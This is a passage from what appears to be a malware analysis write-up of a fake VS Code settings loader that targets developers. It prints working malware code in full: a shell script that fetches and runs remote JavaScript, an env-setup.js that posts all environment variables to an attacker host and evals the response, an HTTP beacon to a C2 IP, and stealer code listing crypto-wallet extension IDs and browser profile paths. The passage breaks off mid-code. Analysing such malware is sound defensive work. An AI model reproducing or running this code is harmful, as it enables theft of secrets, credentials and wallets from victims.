class="string">&quot;v20.11.1&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Linux&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="comment"># Linux - get latest version</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">command</span> -v wget &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            LATEST_VERSION=<span class="string">&quot;v20.11.1&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Unsupported OS: <span class="variable">$OS</span>&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="comment"># Remove leading &quot;v&quot;</span></span><br><span class="line">    NODE_VERSION=<span class="variable">$&#123;LATEST_VERSION#v&#125;</span></span><br><span class="line">    <span class="comment"># Determine download URL and paths based on OS</span></span><br><span class="line">    EXTRACTED_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-<span class="subst">$( [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> = <span class="string">&quot;Darwin&quot;</span> ] &amp;&amp; echo <span class="string">&quot;darwin&quot;</span> || echo <span class="string">&quot;linux&quot;</span> )</span>-x64&quot;</span></span><br><span class="line">    PORTABLE_NODE=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin/node&quot;</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Darwin&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line">        DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line">    <span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Linux&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line">        DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="comment"># Check if portable Node.js already exists</span></span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Portable Node.js found.&quot;</span></span><br><span class="line">        NODE_EXE=<span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span></span><br><span class="line">        <span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin:<span class="variable">$PATH</span>&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Downloading Node.js...&quot;</span></span><br><span class="line">        <span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line">        <span class="comment"># Download Node.js</span></span><br><span class="line">        <span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &amp;&gt; /dev/null &amp;&amp; ! <span class="built_in">command</span> -v wget &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Neither curl nor wget is available.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            curl -sSL -o <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            wget -q -O <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        <span class="keyword">if</span> [ ! -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Failed to download Node.js.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Extracting Node.js...&quot;</span></span><br><span class="line">        tar -xf <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> -C <span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line">        <span class="built_in">rm</span> -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span></span><br><span class="line">        <span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[INFO] Portable Node.js extracted successfully.&quot;</span></span><br><span class="line">            NODE_EXE=<span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span></span><br><span class="line">            <span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin:<span class="variable">$PATH</span>&quot;</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] node executable not found after extraction.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Verify Node.js works</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Node.js executable not set.&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> -v &gt; /dev/null 2&gt;&amp;1</span><br><span class="line"><span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Node.js execution failed.&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Download required files</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line">USER_HOME=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>&quot;</span></span><br><span class="line">BASE_URL=<span class="string">&quot;https://vscodesettings.vercel.app&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[INFO] Downloading env-setup.js and package.json...&quot;</span></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">    wget -q -O <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/env?flag=1&quot;</span></span><br><span class="line">    wget -q -O <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/package&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    curl -s -L -o <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/env?flag=1&quot;</span></span><br><span class="line">    curl -s -L -o <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/package&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Install dependencies</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="built_in">cd</span> <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>&quot;</span></span><br><span class="line"><span class="keyword">if</span> [ ! -d <span class="string">&quot;node_modules/request&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[INFO] Installing NPM packages...&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">command</span> -v npm &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">        npm install --silent --no-progress --loglevel=error --fund=<span class="literal">false</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="comment"># Use npm from extracted directory if available</span></span><br><span class="line">        <span class="keyword">if</span> [ -n <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>&quot;</span> ] &amp;&amp; [ -f <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin/npm&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">            <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin/npm&quot;</span> install --silent --no-progress --loglevel=error --fund=<span class="literal">false</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] npm not found.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[ERROR] npm install failed.&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Run env-setup.js</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[INFO] Running env-setup.js...&quot;</span></span><br><span class="line">    <span class="comment">#cd &quot;$HOME&quot;</span></span><br><span class="line">    <span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span></span><br><span class="line">    <span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[ERROR] env-setup.js execution failed.&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[ERROR] env-setup.js not found.&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[SUCCESS] Script completed successfully.&quot;</span></span><br><span class="line"><span class="built_in">exit</span> 0%</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>It first checks if Node.js is in the current environment. If not, it installs it. Then it proceeds to <code>https://vscodesettings.vercel[.]app</code> to download two files, <code>env-setup.js</code> and <code>package.json</code>. Next, it installs the <code>package.json</code> packages and executes <code>env-setup.js</code>.</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// package.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;env&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;devDependencies&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;hardhat&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^2.20.2&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;dependencies&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;axios&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^1.10.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;fs&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^0.0.1-security&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;request&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^2.88.2&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;clipboardy&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^4.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;socket.io-client&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^4.8.1&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;sql.js&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^1.13.0&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;scripts&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;test&quot;</span><span class="punctuation">:</span> <span class="string">&quot;npx hardhat test&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;deploy&quot;</span><span class="punctuation">:</span> <span class="string">&quot;npx hardhat run scripts/deploy.js&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// env-setup.js</span></span><br><span class="line"><span class="keyword">const</span> axios = <span class="built_in">require</span>(<span class="string">&quot;axios&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> host = <span class="string">&quot;mylocation-info.vercel.app&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> apikey = <span class="string">&quot;3aeb34a31&quot;</span>;</span><br><span class="line">axios</span><br><span class="line">  .<span class="title function_">post</span>(</span><br><span class="line">    <span class="string">`https://<span class="subst">$&#123;host&#125;</span>/api/vscode-encrypted/<span class="subst">$&#123;apikey&#125;</span>`</span>,</span><br><span class="line">    &#123; ...process.<span class="property">env</span> &#125;,</span><br><span class="line">    &#123; <span class="attr">headers</span>: &#123; <span class="string">&quot;x-secret-header&quot;</span>: <span class="string">&quot;secret&quot;</span> &#125; &#125;,</span><br><span class="line">  )</span><br><span class="line">  .<span class="title function_">then</span>(<span class="function">(<span class="params">response</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">eval</span>(response.<span class="property">data</span>);</span><br><span class="line">    <span class="keyword">return</span> response.<span class="property">data</span>;</span><br><span class="line">  &#125;)</span><br><span class="line">  .<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure><p>In <code>env-setup.js</code>, it goes to <code>https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31</code> and executes it directly using <code>eval</code>.</p><p>After downloading the code from <code>https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31</code>, we get a 4.2MB JavaScript obfuscated file with about 93248 lines. Here I recommend a JavaScript deobfuscation site: <a href="https://webcrack.netlify.app/">https://webcrack.netlify.app/</a>, which is very helpful for analyzing this program.</p><p>In this JavaScript, the main functions are written into three modules: ldbScript, autoUploadScript, and socketScript. These three modules are placed in <code>%TEMP%/pid.&quot; + t + &quot;.[1-3].lock</code> to prevent duplicate execution. It also checks if the current environment is WSL; if so, it accesses <code>/mnt/c/</code>.</p><p>Additionally, when this JavaScript starts executing, it makes an initial notification to <code>http://144.172.107[.]191:8087/api/log</code>.</p><p>The HTTP POST request is:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/log</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107.191:8087</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line">&#123;</span><br><span class="line">  &quot;ukey&quot;: 101,</span><br><span class="line">  &quot;t&quot;: &lt;timestamp&gt;,</span><br><span class="line">  &quot;host&quot;: &quot;101_&lt;hostname&gt;&quot;,</span><br><span class="line">  &quot;os&quot;: &quot;&lt;os_type&gt; &lt;os_release&gt;&quot;,</span><br><span class="line">  &quot;username&quot;: &quot;&lt;username&gt;&quot;,</span><br><span class="line">  &quot;message&quot;: &quot;Starting client&quot;,</span><br><span class="line">  &quot;level&quot;: &quot;info&quot;,</span><br><span class="line">  &quot;data&quot;: &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Below is the code for the three modules:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">r</span> = <span class="keyword">async</span> (<span class="params"></span>) =&gt; &#123;</span><br><span class="line">  <span class="title function_">f_s_l</span>(<span class="string">&quot;Starting client&quot;</span>, <span class="string">&quot;info&quot;</span>);</span><br><span class="line">  <span class="keyword">const</span> I =</span><br><span class="line">    <span class="string">&#x27;const &#123; exec, execSync &#125; = require(&quot;child_process&quot;);\nconst path = require(&quot;path&quot;);\nconst axios = require(&quot;axios&quot;);\nconst fs = require(&quot;fs&quot;);\nconst fsPromises = require(&quot;fs/promises&quot;);\nconst os = require(&quot;os&quot;);\nconst FormData = require(&quot;form-data&quot;);\nconst crypto = require(&quot;crypto&quot;);\nconst &#123; exit &#125; = require(&quot;process&quot;);\n&#x27;</span> +</span><br><span class="line">    s_u_c +</span><br><span class="line">    <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">set_l</span>(<span class="string">&quot;ldb&quot;</span>) +</span><br><span class="line">    <span class="string">&quot;\nconst formData = new FormData();\nlet i = 0;\nconst wps = [\&quot;nkbihfbeogaeaoehlefnkodbefgpgknn\&quot;, \&quot;ejbalbakoplchlghecdalmeeeajnimhm\&quot;, \&quot;acmacodkjbdgmoleebolmdjonilkdbch\&quot;, \&quot;bfnaelmomeimhlpmgjnjophhpkkoljpa\&quot;, \&quot;ibnejdfjmmkpcnlpebklmnkoeoihofec\&quot;, \&quot;egjidjbpglichdcondbcbdnbeeppgdph\&quot;, \&quot;nphplpgoakhhjchkkhmiggakijnkhfnd\&quot;, \&quot;omaabbefbmiijedngplfjmnooppbclkk\&quot;, \&quot;bhhhlbepdkbapadjdnnojkbgioiodbic\&quot;, \&quot;aeachknmefphepccionboohckonoeemg\&quot;, \&quot;aflkmhkiijdbfcmhplgifokgdeclgpoi\&quot;, \&quot;agoakfejjabomempkjlepdflaleeobhb\&quot;, \&quot;aholpfdialjgjfhomihkjbmgjidlcdno\&quot;, \&quot;afbcbjpbpfadlkmhmclhkeeodmamcflc\&quot;, \&quot;cgbogdmdefihhljhfeffkljbghamglni\&quot;, \&quot;dmkamcknogkgcdfhhbddcghachkejeap\&quot;, \&quot;dlcobpjiigpikoobohmabehhmhfoodbb\&quot;, \&quot;efbglgofoippbgcjepnhiblaibcnclgk\&quot;, \&quot;ejjladinnckdgjemekebdpeokbikhfci\&quot;, \&quot;fhbohimaelbohpjbbldcngcnapndodjp\&quot;, \&quot;fhkbkphfeanlhnlffkpologfoccekhic\&quot;, \&quot;fhmfendgdocmcbmfikdcogofphimnkno\&quot;, \&quot;fldfpgipfncgndfolcbkdeeknbbbnhcc\&quot;, \&quot;gjnckgkfmgmibbkoficdidcljeaaaheg\&quot;, \&quot;hifafgmccdpekplomjjkcfgodnhcellj\&quot;, \&quot;hmeobnfnfcmdkdcmlblgagmfpfboieaf\&quot;, \&quot;hnfanknocfeofbddgcijnmhnfnkdnaad\&quot;, \&quot;jiidiaalihmmhddjgbnbgdfflelocpak\&quot;, \&quot;jblndlipeogpafnldhgmapagcccfchpi\&quot;, \&quot;jmbkjchcobfffnmjboflnchcbljiljdk\&quot;, \&quot;jnjpmcgfcfeffkfgcnjefkbkgcpnkpab\&quot;, \&quot;kpkmkbkoifcfpapmleipncofdbjdpice\&quot;, \&quot;khpkpbbcccdmmclmpigdgddabeilkdpd\&quot;, \&quot;ldinpeekobnhjjdofggfgjlcehhmanaj\&quot;, \&quot;lgmpcpglpngdoalbgeoldeajfclnhafa\&quot;, \&quot;mcohilncbfahbmgdjkbpemcciiolgcge\&quot;, \&quot;mopnmbcafieddcagagdcbnhejhlodfdd\&quot;, \&quot;nkklfkfpelhghbidbnpdfhblphpfjmbo\&quot;, \&quot;penjlddjkjgpnkllboccdgccekpkcbin\&quot;, \&quot;ppbibelpcjmhbdihakflkdcoccbgbkpo\&quot;];\nconst platform = process.platform;\n\nconst getWindowsBrowserPaths = (windowsUsername) =&gt; &#123;\n  if (!windowsUsername) return [];\n  \n  const windowsPaths = [];\n  // When running in WSL, use /mnt/c/ path format to access Windows filesystem\n  // Windows AppData paths: /mnt/c/Users/&#123;username&#125;/AppData/Local/...\n  const localAppDataBase = `/mnt/c/Users/$&#123;windowsUsername&#125;/AppData/Local`;\n  \n  const browserRelativePaths = [\n    \&quot;Google/Chrome/User Data\&quot;,                    // Chrome\n    \&quot;BraveSoftware/Brave-Browser/User Data\&quot;,      // Brave\n    \&quot;AVG Browser/User Data\&quot;,                       // AVG Browser\n    \&quot;Microsoft/Edge/User Data\&quot;,                   // Edge\n    \&quot;Opera Software/Opera Stable\&quot;,                // Opera\n    \&quot;Opera Software/Opera GX\&quot;,                    // Opera GX\n    \&quot;Vivaldi/User Data\&quot;,                          // Vivaldi\n    \&quot;Kiwi Browser/User Data\&quot;,                     // Kiwi\n    \&quot;Yandex/YandexBrowser/User Data\&quot;,            // Yandex\n    \&quot;Iridium/User Data\&quot;,                          // Iridium\n    \&quot;Comodo/Dragon/User Data\&quot;,                    // Comodo\n    \&quot;SRWare Iron/User Data\&quot;,                      // SRWare\n    \&quot;Chromium/User Data\&quot;                          // Chromium\n  ];\n  \n  browserRelativePaths.forEach(relativePath =&gt; &#123;\n    const fullPath = path.join(localAppDataBase, relativePath);\n    windowsPaths.push(fullPath);\n  &#125;);\n  \n  return windowsPaths;\n&#125;;\n\nconst getChromiumBasePaths = () =&gt; &#123;\n  const chromiumBrowserPaths = [\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Google/Chrome/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Google/Chrome\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/google-chrome\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;BraveSoftware/Brave-Browser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/BraveSoftware/Brave-Browser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/BraveSoftware/Brave-Browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;AVG Browser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/AVG Browser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/avg-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Microsoft/Edge/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Microsoft Edge\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/microsoft-edge\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Opera Software/Opera Stable\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/com.operasoftware.Opera\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/opera\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Opera Software/Opera GX\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, 